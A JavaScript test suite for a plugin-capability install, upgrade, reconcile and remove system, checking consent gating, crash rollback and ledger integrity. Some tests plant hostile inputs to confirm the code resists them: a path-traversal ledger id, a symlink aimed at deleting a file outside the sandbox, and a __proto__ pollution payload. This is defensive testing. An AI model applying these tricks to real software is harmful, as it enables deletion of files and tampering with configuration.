function readSettings(dir) {
|
||||
try { return JSON.parse(fs.readFileSync(path.join(dir, 'settings.json'), 'utf8')); } catch { return null; }
|
||||
}
|
||||
function capManifestVersion(dir, id) {
|
||||
try {
|
||||
return JSON.parse(fs.readFileSync(path.join(dir, '.gsd', 'capabilities', id, 'capability.json'), 'utf8')).version;
|
||||
} catch { return null; }
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Install
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
test('install: declarative capability installs without consent and records the ledger', async () => {
|
||||
const dir = runtime();
|
||||
const res = await lifecycle.installCapability('./decl', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', _resolve: fakeResolve(declarativeCap('decl')),
|
||||
});
|
||||
assert.strictEqual(res.status, 'installed');
|
||||
const entry = readLedgerEntry(dir, 'decl');
|
||||
assert.ok(entry, 'ledger entry recorded');
|
||||
assert.strictEqual(entry.version, '1.0.0');
|
||||
assert.ok(fs.existsSync(path.join(dir, '.gsd', 'capabilities', 'decl', 'capability.json')));
|
||||
});
|
||||
|
||||
test('install: executable capability without consent aborts and writes NOTHING', async () => {
|
||||
const dir = runtime();
|
||||
const res = await lifecycle.installCapability('./exec', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', consentGranted: false, sharedFiles: ['settings.json'],
|
||||
_resolve: fakeResolve(execCap('exec', '1.0.0')),
|
||||
});
|
||||
assert.strictEqual(res.status, 'aborted');
|
||||
assert.strictEqual(res.requiresConsent, true);
|
||||
assert.strictEqual(readLedgerEntry(dir, 'exec'), null, 'no ledger entry');
|
||||
assert.ok(!fs.existsSync(path.join(dir, '.gsd', 'capabilities', 'exec')), 'no install dir');
|
||||
assert.strictEqual(readSettings(dir), null, 'no settings.json written');
|
||||
});
|
||||
|
||||
test('install: executable capability with consent installs and applies marked shared edits', async () => {
|
||||
const dir = runtime();
|
||||
const res = await lifecycle.installCapability('./exec', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', consentGranted: true, sharedFiles: ['settings.json'],
|
||||
_resolve: fakeResolve(execCap('exec', '1.0.0', { mcp: { 'cap-srv': { command: 'node' } } })),
|
||||
});
|
||||
assert.strictEqual(res.status, 'installed');
|
||||
const settings = readSettings(dir);
|
||||
assert.ok(settings.hooks.PostToolUse.length === 1);
|
||||
assert.strictEqual(settings.hooks.PostToolUse[0][CAP_MARKER], 'exec');
|
||||
assert.strictEqual(settings.mcpServers['cap-srv'][CAP_MARKER], 'exec');
|
||||
const entry = readLedgerEntry(dir, 'exec');
|
||||
assert.deepStrictEqual(entry.sharedEdits, [{ file: 'settings.json', marker: 'exec' }]);
|
||||
});
|
||||
|
||||
test('install: a disallowed source is blocked BEFORE the resolver runs', async () => {
|
||||
const dir = runtime();
|
||||
let resolverCalled = false;
|
||||
const res = await lifecycle.installCapability('https://github.com/x/y.git', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', strictKnownRegistries: [],
|
||||
_resolve: async () => { resolverCalled = true; throw new Error('should not run'); },
|
||||
});
|
||||
assert.strictEqual(res.status, 'blocked');
|
||||
assert.strictEqual(resolverCalled, false, 'resolver must not be invoked for a blocked source');
|
||||
assert.strictEqual(readLedgerEntry(dir, 'y'), null);
|
||||
});
|
||||
|
||||
test('install: a reserved-namespace capability is blocked', async () => {
|
||||
const dir = runtime();
|
||||
const res = await lifecycle.installCapability('./x', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', _resolve: fakeResolve(declarativeCap('gsd-evil')),
|
||||
});
|
||||
assert.strictEqual(res.status, 'blocked');
|
||||
assert.ok(res.blockReasons.some((r) => /reserved namespace/.test(r)));
|
||||
assert.ok(!fs.existsSync(path.join(dir, '.gsd', 'capabilities', 'gsd-evil')));
|
||||
});
|
||||
|
||||
test('install: engines mismatch is blocked at install WITH a compatVersions downgrade hint', async () => {
|
||||
const dir = runtime();
|
||||
const cap = declarativeCap('eng', '3.0.0');
|
||||
cap.engines = { gsd: '>=2.0.0' };
|
||||
cap.compatVersions = { '1.4.0': '>=1.5.0 <2.0.0' };
|
||||
const res = await lifecycle.installCapability('./eng', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', _resolve: fakeResolve(cap),
|
||||
});
|
||||
assert.strictEqual(res.status, 'blocked');
|
||||
assert.ok(res.blockReasons.some((r) => /compatVersions offers 1\.4\.0/.test(r)), JSON.stringify(res.blockReasons));
|
||||
assert.strictEqual(readLedgerEntry(dir, 'eng'), null);
|
||||
});
|
||||
|
||||
test('integration: engines-incompatible local cap is blocked by the lifecycle, not the resolver throw (skipEnginesGate)', async () => {
|
||||
const dir = runtime();
|
||||
const src = fs.mkdtempSync(path.join(os.tmpdir(), 'cap-src-eng-'));
|
||||
cleanups.push(src);
|
||||
const cap = declarativeCap('engreal');
|
||||
cap.engines = { gsd: '>=99.0.0' };
|
||||
fs.writeFileSync(path.join(src, 'capability.json'), JSON.stringify(cap), 'utf8');
|
||||
const res = await lifecycle.installCapability(src, { runtimeDir: dir, hostVersion: '1.6.0' });
|
||||
assert.strictEqual(res.status, 'blocked', JSON.stringify(res));
|
||||
assert.ok(res.blockReasons.some((r) => /engines\.gsd/.test(r)));
|
||||
assert.ok(!fs.existsSync(path.join(dir, '.gsd', 'capabilities', 'engreal')), 'nothing installed');
|
||||
const staging = path.join(dir, '.gsd', 'capabilities', '.staging');
|
||||
assert.deepStrictEqual(fs.existsSync(staging) ? fs.readdirSync(staging) : [], [], 'staging cleaned');
|
||||
});
|
||||
|
||||
test('install: re-installing over an existing capability (via install, not upgrade) advances the bundle + ledger, no backup lingers', async () => {
|
||||
const dir = runtime();
|
||||
await lifecycle.installCapability('./e', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', consentGranted: true, sharedFiles: ['settings.json'],
|
||||
_resolve: fakeResolve(execCap('e', '1.0.0')),
|
||||
});
|
||||
const res = await lifecycle.installCapability('./e', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', consentGranted: true, sharedFiles: ['settings.json'],
|
||||
_resolve: fakeResolve(execCap('e', '2.0.0')),
|
||||
});
|
||||
assert.strictEqual(res.status, 'installed');
|
||||
assert.strictEqual(capManifestVersion(dir, 'e'), '2.0.0');
|
||||
assert.strictEqual(readLedgerEntry(dir, 'e').version, '2.0.0');
|
||||
assert.ok(!readLedgerEntry(dir, 'e')._pending, 'intent cleared on commit');
|
||||
assert.deepStrictEqual(fs.readdirSync(path.join(dir, '.gsd', 'capabilities')).filter((n) => n.includes('.upgrading-')), [], 'no backup left');
|
||||
assert.strictEqual(readSettings(dir).hooks.PostToolUse.length, 1, 'exactly one stamped hook');
|
||||
});
|
||||
|
||||
test('install: a stale lock is stolen so a crashed prior holder does not block forever', async () => {
|
||||
const dir = runtime();
|
||||
const lockPath = path.join(dir, '.gsd', 'capabilities', '.lock');
|
||||
fs.mkdirSync(path.dirname(lockPath), { recursive: true });
|
||||
fs.writeFileSync(lockPath, 'dead-holder-token', 'utf8');
|
||||
// Backdate the lock well past the stale threshold (simulate a crashed holder).
|
||||
const old = new Date(Date.now() - 5 * 60 * 1000);
|
||||
fs.utimesSync(lockPath, old, old);
|
||||
const res = await lifecycle.installCapability('./x', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', _resolve: fakeResolve(declarativeCap('x')),
|
||||
});
|
||||
assert.strictEqual(res.status, 'installed', 'stale lock stolen, install proceeds');
|
||||
});
|
||||
|
||||
test('install: a resolver failure (e.g. integrity mismatch) is reported as blocked', async () => {
|
||||
const dir = runtime();
|
||||
const res = await lifecycle.installCapability('./x', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', _resolve: fakeResolve(declarativeCap('x'), { throwErr: 'Integrity mismatch: expected ... got ...' }),
|
||||
});
|
||||
assert.strictEqual(res.status, 'blocked');
|
||||
assert.ok(res.blockReasons.some((r) => /Integrity mismatch/.test(r)));
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Upgrade
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
test('upgrade: a not-installed capability cannot be upgraded', async () => {
|
||||
const dir = runtime();
|
||||
const res = await lifecycle.upgradeCapability('./x', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', _resolve: fakeResolve(declarativeCap('x', '2.0.0')),
|
||||
});
|
||||
assert.strictEqual(res.status, 'not_installed');
|
||||
});
|
||||
|
||||
test('upgrade: same executable set upgrades without re-consent; bundle + ledger advance, no backup left', async () => {
|
||||
const dir = runtime();
|
||||
await lifecycle.installCapability('./e', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', consentGranted: true, sharedFiles: ['settings.json'],
|
||||
_resolve: fakeResolve(execCap('e', '1.0.0')),
|
||||
});
|
||||
const res = await lifecycle.upgradeCapability('./e', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', consentGranted: false, sharedFiles: ['settings.json'],
|
||||
_resolve: fakeResolve(execCap('e', '2.0.0')), // same hook script => same exec set
|
||||
});
|
||||
assert.strictEqual(res.status, 'upgraded');
|
||||
assert.strictEqual(res.fromVersion, '1.0.0');
|
||||
assert.strictEqual(res.toVersion, '2.0.0');
|
||||
assert.strictEqual(capManifestVersion(dir, 'e'), '2.0.0');
|
||||
assert.strictEqual(readLedgerEntry(dir, 'e').version, '2.0.0');
|
||||
const leftovers = fs.readdirSync(path.join(dir, '.gsd', 'capabilities')).filter((n) => n.includes('.upgrading-'));
|
||||
assert.deepStrictEqual(leftovers, [], 'no backup dir left behind');
|
||||
// Exactly one stamped hook remains (old stripped, new applied).
|
||||
assert.strictEqual(readSettings(dir).hooks.PostToolUse.length, 1);
|
||||
});
|
||||
|
||||
test('upgrade: a changed executable set without consent aborts and leaves the OLD version fully intact', async () => {
|
||||
const dir = runtime();
|
||||
await lifecycle.installCapability('./e', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', consentGranted: true, sharedFiles: ['settings.json'],
|
||||
_resolve: fakeResolve(execCap('e', '1.0.0', { script: 'hooks/a.js' })),
|
||||
});
|
||||
const res = await lifecycle.upgradeCapability('./e', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', consentGranted: false, sharedFiles: ['settings.json'],
|
||||
_resolve: fakeResolve(execCap('e', '2.0.0', { script: 'hooks/b.js' })), // changed script => changed exec set
|
||||
});
|
||||
assert.strictEqual(res.status, 'aborted');
|
||||
assert.strictEqual(res.requiresConsent, true);
|
||||
assert.strictEqual(capManifestVersion(dir, 'e'), '1.0.0', 'old bundle untouched');
|
||||
assert.strictEqual(readLedgerEntry(dir, 'e').version, '1.0.0', 'old ledger untouched');
|
||||
assert.strictEqual(readSettings(dir).hooks.PostToolUse[0].hooks[0].command, 'hooks/a.js');
|
||||
});
|
||||
|
||||
test('upgrade: a changed executable set WITH consent upgrades and re-derives shared edits', async () => {
|
||||
const dir = runtime();
|
||||
await lifecycle.installCapability('./e', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', consentGranted: true, sharedFiles: ['settings.json'],
|
||||
_resolve: fakeResolve(execCap('e', '1.0.0', { script: 'hooks/a.js' })),
|
||||
});
|
||||
const res = await lifecycle.upgradeCapability('./e', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', consentGranted: true, sharedFiles: ['settings.json'],
|
||||
_resolve: fakeResolve(execCap('e', '2.0.0', { script: 'hooks/b.js' })),
|
||||
});
|
||||
assert.strictEqual(res.status, 'upgraded');
|
||||
const hooks = readSettings(dir).hooks.PostToolUse;
|
||||
assert.strictEqual(hooks.length, 1);
|
||||
assert.strictEqual(hooks[0].hooks[0].command, 'hooks/b.js', 'old shared edit stripped, new applied');
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Reconciliation (crash recovery) — proves "no half-state"
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function seedCapDir(dir, name, manifest) {
|
||||
const d = path.join(dir, '.gsd', 'capabilities', name);
|
||||
fs.mkdirSync(d, { recursive: true });
|
||||
fs.writeFileSync(path.join(d, 'capability.json'), JSON.stringify(manifest), 'utf8');
|
||||
return d;
|
||||
}
|
||||
// Record a ledger entry carrying an in-flight INTENT (the commit signal).
|
||||
function recordPending(dir, id, version, { kind = 'upgrade', backupName, sharedFiles = [], sharedEdits = [] }) {
|
||||
ledgerMod.recordInstall(dir, {
|
||||
id, version, source: 's', integrity: '', files: ['.gsd/capabilities/' + id], sharedEdits,
|
||||
_pending: { kind, backupName, sharedFiles },
|
||||
});
|
||||
}
|
||||
|
||||
test('reconcile: crash before new swapped in (final missing, backup present) rolls back to old', () => {
|
||||
const dir = runtime();
|
||||
seedCapDir(dir, 'c.upgrading-111-222', declarativeCap('c', '1.0.0')); // old, set aside
|
||||
recordPending(dir, 'c', '1.0.0', { backupName: 'c.upgrading-111-222' });
|
||||
const report = lifecycle.reconcileCapabilities({ runtimeDir: dir });
|
||||
assert.ok(report.rolledBack.includes('c'));
|
||||
assert.strictEqual(capManifestVersion(dir, 'c'), '1.0.0');
|
||||
assert.ok(!readLedgerEntry(dir, 'c')._pending, 'intent cleared');
|
||||
assert.deepStrictEqual(fs.readdirSync(path.join(dir, '.gsd', 'capabilities')).filter((n) => n.includes('.upgrading-')), []);
|
||||
});
|
||||
|
||||
test('reconcile: crash after swap before commit (intent present) rolls back to old', () => {
|
||||
const dir = runtime();
|
||||
seedCapDir(dir, 'c', declarativeCap('c', '2.0.0')); // new, uncommitted, live
|
||||
seedCapDir(dir, 'c.upgrading-111-222', declarativeCap('c', '1.0.0')); // old backup
|
||||
recordPending(dir, 'c', '1.0.0', { backupName: 'c.upgrading-111-222' });
|
||||
const report = lifecycle.reconcileCapabilities({ runtimeDir: dir });
|
||||
assert.ok(report.rolledBack.includes('c'));
|
||||
assert.strictEqual(capManifestVersion(dir, 'c'), '1.0.0', 'rolled back to old');
|
||||
});
|
||||
|
||||
test('reconcile H3: SAME-version malicious bundle with intent present is rolled BACK, not mistaken for committed', () => {
|
||||
const dir = runtime();
|
||||
// Attacker ships different content under the SAME version string; crash before commit.
|
||||
seedCapDir(dir, 'c', { id: 'c', version: '1.0.0', _evil: true }); // new (uncommitted), same version
|
||||
seedCapDir(dir, 'c.upgrading-111-222', { id: 'c', version: '1.0.0', _evil: false }); // genuine old
|
||||
recordPending(dir, 'c', '1.0.0', { backupName: 'c.upgrading-111-222' });
|
||||
const report = lifecycle.reconcileCapabilities({ runtimeDir: dir });
|
||||
assert.ok(report.rolledBack.includes('c'), 'must roll back despite equal version strings');
|
||||
const live = JSON.parse(fs.readFileSync(path.join(dir, '.gsd', 'capabilities', 'c', 'capability.json'), 'utf8'));
|
||||
assert.strictEqual(live._evil, false, 'the genuine old bundle is restored, not the uncommitted one');
|
||||
});
|
||||
|
||||
test('reconcile H2: rollback restores SHARED CONFIG (new hook is not stranded in settings.json)', () => {
|
||||
const dir = runtime();
|
||||
// Old bundle is declarative (no hooks). New bundle (uncommitted) added a hook that the
|
||||
// mid-upgrade applied into settings.json before the crash.
|
||||
seedCapDir(dir, 'c', execCap('c', '2.0.0', { script: 'hooks/new.js' })); // new, uncommitted, live
|
||||
seedCapDir(dir, 'c.upgrading-111-222', declarativeCap('c', '1.0.0')); // old, declarative
|
||||
// Simulate the new hook already written to settings.json (stamped).
|
||||
fs.writeFileSync(
|
||||
path.join(dir, 'settings.json'),
|
||||
JSON.stringify({ hooks: { PostToolUse: [{ [CAP_MARKER]: 'c', hooks: [{ type: 'command', command: 'hooks/new.js' }] }] }, theme: 'dark' }),
|
||||
'utf8',
|
||||
);
|
||||
recordPending(dir, 'c', '1.0.0', { backupName: 'c.upgrading-111-222', sharedFiles: ['settings.json'] });
|
||||
const report = lifecycle.reconcileCapabilities({ runtimeDir: dir });
|
||||
assert.ok(report.rolledBack.includes('c'));
|
||||
const after = readSettings(dir);
|
||||
assert.ok(!after.hooks, 'the new hook was stripped (old bundle had none) — no stranded executable config');
|
||||
assert.strictEqual(after.theme, 'dark', 'unrelated user config preserved');
|
||||
});
|
||||
|
||||
test('reconcile: committed leftover backup (no intent) rolls forward, dropping the backup', () => {
|
||||
const dir = runtime();
|
||||
seedCapDir(dir, 'c', declarativeCap('c', '2.0.0')); // new, committed, live
|
||||
seedCapDir(dir, 'c.upgrading-111-222', declarativeCap('c', '1.0.0')); // stale backup
|
||||
// Committed: ledger entry has NO _pendingUpgrade.
|
||||
ledgerMod.recordInstall(dir, { id: 'c', version: '2.0.0', source: 's', integrity: '', files: ['.gsd/capabilities/c'], sharedEdits: [] });
|
||||
const report = lifecycle.reconcileCapabilities({ runtimeDir: dir });
|
||||
assert.ok(report.rolledForward.includes('c'));
|
||||
assert.strictEqual(capManifestVersion(dir, 'c'), '2.0.0', 'new kept');
|
||||
assert.deepStrictEqual(fs.readdirSync(path.join(dir, '.gsd', 'capabilities')).filter((n) => n.includes('.upgrading-')), []);
|
||||
});
|
||||
|
||||
test('reconcile: an AGED staging orphan is swept, a FRESH one (possible in-flight resolve) is spared', () => {
|
||||
const dir = runtime();
|
||||
const stagingRoot = path.join(dir, '.gsd', 'capabilities', '.staging');
|
||||
const aged = path.join(stagingRoot, 'aged-1');
|
||||
const fresh = path.join(stagingRoot, 'fresh-2');
|
||||
fs.mkdirSync(aged, { recursive: true });
|
||||
fs.mkdirSync(fresh, { recursive: true });
|
||||
// Backdate the aged orphan well past the in-flight grace window.
|
||||
const old = new Date(Date.now() - 30 * 60 * 1000);
|
||||
fs.utimesSync(aged, old, old);
|
||||
const report = lifecycle.reconcileCapabilities({ runtimeDir: dir });
|
||||
assert.ok(report.orphansRemoved.includes('aged-1'), 'aged orphan swept');
|
||||
assert.ok(!fs.existsSync(aged));
|
||||
assert.ok(!report.orphansRemoved.includes('fresh-2'), 'fresh staging spared (could be live)');
|
||||
assert.ok(fs.existsSync(fresh), 'fresh staging not deleted');
|
||||
});
|
||||
|
||||
test('reconcile H1: a crashed FRESH install (intent kind=install) is rolled back — dir, edits, and entry removed', () => {
|
||||
const dir = runtime();
|
||||
// Simulate: install promoted the dir + wrote a hook into settings.json, then crashed before commit.
|
||||
seedCapDir(dir, 'f', execCap('f', '1.0.0', { script: 'hooks/x.js' }));
|
||||
fs.writeFileSync(
|
||||
path.join(dir, 'settings.json'),
|
||||
JSON.stringify({ hooks: { PostToolUse: [{ [CAP_MARKER]: 'f', hooks: [{ type: 'command', command: 'hooks/x.js' }] }] } }),
|
||||
'utf8',
|
||||
);
|
||||
recordPending(dir, 'f', '1.0.0', { kind: 'install', backupName: null, sharedFiles: ['settings.json'] });
|
||||
const report = lifecycle.reconcileCapabilities({ runtimeDir: dir });
|
||||
assert.ok(report.rolledBack.includes('f'));
|
||||
assert.strictEqual(readLedgerEntry(dir, 'f'), null, 'half-installed ledger entry removed');
|
||||
assert.ok(!fs.existsSync(path.join(dir, '.gsd', 'capabilities', 'f')), 'half-installed dir removed');
|
||||
assert.ok(!readSettings(dir).hooks, 'stranded shared edit stripped');
|
||||
});
|
||||
|
||||
test('reconcile M5: a tampered ledger key (non-kebab id) is skipped, never used in a delete path', () => {
|
||||
const dir = runtime();
|
||||
// A precious file under runtimeDir the traversal id would resolve to.
|
||||
fs.writeFileSync(path.join(dir, 'precious.txt'), 'keep', 'utf8');
|
||||
// Tamper: a ledger entry keyed by a traversal id with a fresh-install intent.
|
||||
ledgerMod.recordInstall(dir, {
|
||||
id: '../../precious', version: '1.0.0', source: 's', integrity: '',
|
||||
files: ['.gsd/capabilities/x'], sharedEdits: [],
|
||||
_pending: { kind: 'install', backupName: null, sharedFiles: [] },
|
||||
});
|
||||
const report = lifecycle.reconcileCapabilities({ runtimeDir: dir });
|
||||
assert.ok(!report.rolledBack.includes('../../precious'), 'tampered id not acted upon');
|
||||
assert.ok(fs.existsSync(path.join(dir, 'precious.txt')), 'no delete via the tampered id');
|
||||
});
|
||||
|
||||
test('reconcile M6: a wrong-id/malformed upgrade backupName fails CLOSED (intent left for retry)', () => {
|
||||
const dir = runtime();
|
||||
seedCapDir(dir, 'c', declarativeCap('c', '2.0.0')); // new, uncommitted, live
|
||||
// Tampered intent: backupName names a DIFFERENT id.
|
||||
recordPending(dir, 'c', '1.0.0', { kind: 'upgrade', backupName: 'other.upgrading-1-1', sharedFiles: [] });
|
||||
const report = lifecycle.reconcileCapabilities({ runtimeDir: dir });
|
||||
assert.ok(!report.rolledBack.includes('c'), 'must not silently accept');
|
||||
assert.ok(readLedgerEntry(dir, 'c')._pending, 'intent left pending for manual handling');
|
||||
});
|
||||
|
||||
test('reconcile H2: reinstall rollback restores OLD ledger metadata, not the new version', () => {
|
||||
const dir = runtime();
|
||||
seedCapDir(dir, 'c', declarativeCap('c', '2.0.0')); // new, uncommitted, live
|
||||
seedCapDir(dir, 'c.upgrading-111-222', declarativeCap('c', '1.0.0')); // old backup
|
||||
// Intent carries the OLD (prior) metadata + kind 'upgrade' (as installCapability now writes it).
|
||||
recordPending(dir, 'c', '1.0.0', { kind: 'upgrade', backupName: 'c.upgrading-111-222', sharedFiles: [], sharedEdits: [] });
|
||||
lifecycle.reconcileCapabilities({ runtimeDir: dir });
|
||||
assert.strictEqual(capManifestVersion(dir, 'c'), '1.0.0', 'old files restored');
|
||||
assert.strictEqual(readLedgerEntry(dir, 'c').version, '1.0.0', 'ledger metadata matches restored old bundle');
|
||||
});
|
||||
|
||||
test('remove: a held lock makes remove report "in progress" (does not mutate)', () => {
|
||||
const dir = runtime();
|
||||
const lockPath = path.join(dir, '.gsd', 'capabilities', '.lock');
|
||||
fs.mkdirSync(path.dirname(lockPath), { recursive: true });
|
||||
ledgerMod.recordInstall(dir, { id: 'q', version: '1.0.0', source: 's', integrity: '', files: ['.gsd/capabilities/q'], sharedEdits: [] });
|
||||
fs.writeFileSync(lockPath, '99999', 'utf8');
|
||||
try {
|
||||
const res = lifecycle.removeCapability('q', { runtimeDir: dir });
|
||||
assert.strictEqual(res.status, 'blocked');
|
||||
assert.ok(readLedgerEntry(dir, 'q'), 'entry not removed while locked');
|
||||
} finally {
|
||||
cleanup(lockPath);
|
||||
}
|
||||
});
|
||||
|
||||
test('reconcile: a held lock makes reconcile defer (no-op) and a mutation report "in progress"', async () => {
|
||||
const dir = runtime();
|
||||
// Manually hold the lock (fresh mtime => not stale).
|
||||
const lockPath = path.join(dir, '.gsd', 'capabilities', '.lock');
|
||||
fs.mkdirSync(path.dirname(lockPath), { recursive: true });
|
||||
fs.writeFileSync(lockPath, '99999', 'utf8');
|
||||
try {
|
||||
const report = lifecycle.reconcileCapabilities({ runtimeDir: dir });
|
||||
assert.deepStrictEqual(report.rolledBack, [], 'reconcile defers while another op holds the lock');
|
||||
const res = await lifecycle.installCapability('./x', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', _resolve: fakeResolve(declarativeCap('x')),
|
||||
});
|
||||
assert.strictEqual(res.status, 'blocked');
|
||||
assert.ok(res.blockReasons.some((r) => /in progress/.test(r)));
|
||||
} finally {
|
||||
cleanup(lockPath);
|
||||
}
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Remove (surgical strip + user hand-edit fault case)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
test('remove: not-installed is idempotent', () => {
|
||||
const dir = runtime();
|
||||
assert.strictEqual(lifecycle.removeCapability('nope', { runtimeDir: dir }).status, 'not_installed');
|
||||
});
|
||||
|
||||
test('remove: deletes recorded files, strips marked shared edits, drops the ledger entry', async () => {
|
||||
const dir = runtime();
|
||||
await lifecycle.installCapability('./e', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', consentGranted: true, sharedFiles: ['settings.json'],
|
||||
_resolve: fakeResolve(execCap('e', '1.0.0', { mcp: { 'cap-srv': { command: 'node' } } })),
|
||||
});
|
||||
const res = lifecycle.removeCapability('e', { runtimeDir: dir });
|
||||
assert.strictEqual(res.status, 'removed');
|
||||
assert.strictEqual(readLedgerEntry(dir, 'e'), null);
|
||||
assert.ok(!fs.existsSync(path.join(dir, '.gsd', 'capabilities', 'e')));
|
||||
const settings = readSettings(dir);
|
||||
assert.ok(!settings.hooks, 'empty hooks object pruned');
|
||||
assert.ok(!settings.mcpServers, 'empty mcpServers object pruned');
|
||||
});
|
||||
|
||||
test('remove: FAULT CASE — user hand-edited settings.json between install and remove is preserved', async () => {
|
||||
const dir = runtime();
|
||||
await lifecycle.installCapability('./e', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', consentGranted: true, sharedFiles: ['settings.json'],
|
||||
_resolve: fakeResolve(execCap('e', '1.0.0', { mcp: { 'cap-srv': { command: 'node' } } })),
|
||||
});
|
||||
// User hand-edits settings.json: adds their own (unmarked) hook + mcp server + a top-level field.
|
||||
const sp = path.join(dir, 'settings.json');
|
||||
const s = JSON.parse(fs.readFileSync(sp, 'utf8'));
|
||||
s.hooks.PostToolUse.push({ hooks: [{ type: 'command', command: 'user-script.js' }] });
|
||||
s.mcpServers['user-srv'] = { command: 'user-mcp' };
|
||||
s.theme = 'dark';
|
||||
fs.writeFileSync(sp, JSON.stringify(s, null, 2), 'utf8');
|
||||
|
||||
const res = lifecycle.removeCapability('e', { runtimeDir: dir });
|
||||
assert.strictEqual(res.status, 'removed');
|
||||
const after = JSON.parse(fs.readFileSync(sp, 'utf8'));
|
||||
// Capability-owned entries gone; user's untouched.
|
||||
assert.strictEqual(after.hooks.PostToolUse.length, 1);
|
||||
assert.strictEqual(after.hooks.PostToolUse[0].hooks[0].command, 'user-script.js');
|
||||
assert.deepStrictEqual(after.mcpServers, { 'user-srv': { command: 'user-mcp' } });
|
||||
assert.strictEqual(after.theme, 'dark');
|
||||
});
|
||||
|
||||
test('remove: tolerates a user having already deleted the shared file and the install dir', async () => {
|
||||
const dir = runtime();
|
||||
await lifecycle.installCapability('./e', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', consentGranted: true, sharedFiles: ['settings.json'],
|
||||
_resolve: fakeResolve(execCap('e', '1.0.0')),
|
||||
});
|
||||
cleanup(path.join(dir, 'settings.json'));
|
||||
cleanup(path.join(dir, '.gsd', 'capabilities', 'e'));
|
||||
const res = lifecycle.removeCapability('e', { runtimeDir: dir });
|
||||
assert.strictEqual(res.status, 'removed', 'idempotent despite missing artifacts');
|
||||
assert.strictEqual(readLedgerEntry(dir, 'e'), null);
|
||||
});
|
||||
|
||||
test('remove: a tampered ledger files[] routed through a symlink cannot delete outside runtimeDir', () => {
|
||||
const dir = runtime();
|
||||
const outside = fs.mkdtempSync(path.join(os.tmpdir(), 'cap-outside-'));
|
||||
cleanups.push(outside);
|
||||
const victim = path.join(outside, 'victim.txt');
|
||||
fs.writeFileSync(victim, 'precious', 'utf8');
|
||||
// A symlink inside runtimeDir pointing OUT, plus a tampered ledger routing files[] through it.
|
||||
fs.mkdirSync(path.join(dir, '.gsd'), { recursive: true });
|
||||
fs.symlinkSync(outside, path.join(dir, '.gsd', 'link'), 'dir');
|
||||
ledgerMod.recordInstall(dir, {
|
||||
id: 'evil', version: '1.0.0', source: 's', integrity: '',
|
||||
files: ['.gsd/link/victim.txt'], sharedEdits: [],
|
||||
});
|
||||
lifecycle.removeCapability('evil', { runtimeDir: dir });
|
||||
assert.ok(fs.existsSync(victim), 'a file OUTSIDE runtimeDir (reached via symlink) must NOT be deleted');
|
||||
});
|
||||
|
||||
test('remove: CAPABILITY_DATA is preserved by default and deleted only on removeData', async () => {
|
||||
const dir = runtime();
|
||||
await lifecycle.installCapability('./e', {
|
||||
runtimeDir: dir, hostVersion: '1.6.0', consentGranted: true,
|
||||
_resolve: fakeResolve(declarativeCap('e')),
|
||||
});
|
||||
const dataDir = path.join(dir, '.gsd', 'capability-data', 'e');
|
||||
fs.mkdirSync(dataDir, { recursive: true });
|
||||
fs.writeFileSync(path.join(dataDir, 'state.json'), '{}', 'utf8');
|
||||
|
||||
const keep = lifecycle.removeCapability('e', { runtimeDir: dir });
|
||||
assert.strictEqual(keep.dataPreserved, true);
|
||||
assert.ok(fs.existsSync(dataDir), 'data preserved by default');
|
||||
|
||||
// Re-install then remove with removeData.
|
||||
await lifecycle.installCapability('./e', { runtimeDir: dir, hostVersion: '1.6.0', _resolve: fakeResolve(declarativeCap('e')) });
|
||||
const wipe = lifecycle.removeCapability('e', { runtimeDir: dir, removeData: true });
|
||||
assert.strictEqual(wipe.dataPreserved, false);
|
||||
assert.ok(!fs.existsSync(dataDir), 'data deleted on removeData');
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Shared-edit helpers (direct) — prototype-pollution guard
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
test('applyCapabilitySharedEdits: __proto__ event/name is skipped (no pollution)', () => {
|
||||
const dir = runtime();
|
||||
lifecycle.applyCapabilitySharedEdits({
|
||||
runtimeDir: dir,
|
||||
capId: 'p',
|
||||
manifest: { hooks: [{ event: '__proto__', script: 'x.js' }, { event: 'Real', script: 'y.js' }], mcpServers: { __proto__: { command: 'evil' }, ok: { command: 'node' } } },
|
||||
sharedFiles: ['settings.json'],
|
||||
});
|
||||
const s = readSettings(dir);
|
||||
assert.ok(!Object.prototype.hasOwnProperty.call(s.hooks, '__proto__'));
|
||||
assert.ok(Array.isArray(s.hooks.Real));
|
||||
assert.ok(!Object.prototype.hasOwnProperty.call(s.mcpServers, '__proto__'));
|
||||
assert.ok(s.mcpServers.ok);
|
||||
// The global prototype was not polluted.
|
||||
assert.strictEqual({}.command, undefined);
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Real-resolver integration (no _resolve seam)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
test('integration: install a real, valid, declarative local capability through the real resolver', async () => {
|
||||
const dir = runtime();
|
||||
// Build a valid local capability source dir.
|
||||
const src = fs.mkdtempSync(path.join(os.tmpdir(), 'cap-src-'));
